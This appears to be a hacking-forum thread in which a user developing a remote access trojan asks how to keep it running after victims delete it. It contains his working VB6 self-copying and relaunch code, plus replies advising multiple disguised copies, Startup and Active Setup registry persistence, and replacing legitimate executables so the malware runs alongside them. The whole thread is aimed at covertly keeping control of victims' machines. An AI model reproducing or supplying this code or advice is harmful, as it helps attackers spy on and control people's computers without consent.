[eze_vin]

hi, im in the process of finally finishing my rat. but ive come to a point that even though its cool to use it, once the victim realizes of the threat it can just delete the application and close it via tskmgr and thats it. im done.

So i wanted to know if anyone kind enough here can tell me a way to autocopy the application once it is run. i mean, once the person exes the app, it should make a copy of itself to other secret folder. And once it is copied just execute that copy. So if the victim just deletes the first exe, the second one would still be sending me signal. *ive already have the regedit ability to execute once windows is started up. PLUS i have my own way to making this possible, but maybe there is a much faster and efficient way.

So far i have the autocopy:
FileCopy App.Path & "\" & App.EXEName & ".exe", "C:\" & App.EXEName & ".exe"

Oh, and im thinking of a way of autorun it. probably by just adding a timer. i mean, applying the autocopy code to the FORMLOAD, and then in a timer just placing the execute code

autorun *in a timer:
dim executeshell as variant
executeshell = shell ("rundll32.exe url.dll,fileprotocolHandler " & ("nameoftheexe"), 1)


Let me know what you guys think.

Cheers.

[eze_vin]

Ok, i manged to make it to work. as you may have noticed, in my above post, the code would execute the app in an infinite loop, opening windows till you PC freezes.

now i was able to polish the code and it all seems to be working just fine.

just place a timer with an interval of... say 3000.
and now:

Private Sub Timer1_Timer()
If Dir("C:\Windows\hola.exe") <> "" Then 'si existe
Else 'si no existe
FileCopy App.Path & "\" & App.EXEName & ".exe", "C:\Windows\" & App.EXEName & ".exe"
Shell "C:\Windows\hola.exe"
End If
End Sub


Hope this can help you out in your future proyects, and please say at least "thank you", if this is of any help to you.

Enjoy. :ok:

[Coder-san]

What you need is termed as persistence. Two copies are not enough, make at least three.
Name them differently, different icons, and give them different file sizes because that's how we can easily find them (Windows search with the same file size).
Don't just depend on Registry, make a copy in Startup folder and learn about Active Setup registry location.

[Deque]

Copying is one possibility. Another solution would be to infect an exe file the user starts from time to time.
A very simple way doing this is to copy the real .exe somewhere else and hide it and replace the original file with the own file. When the own file is started by the user it also starts the hidden .exe, so that the user still thinks he executed his program.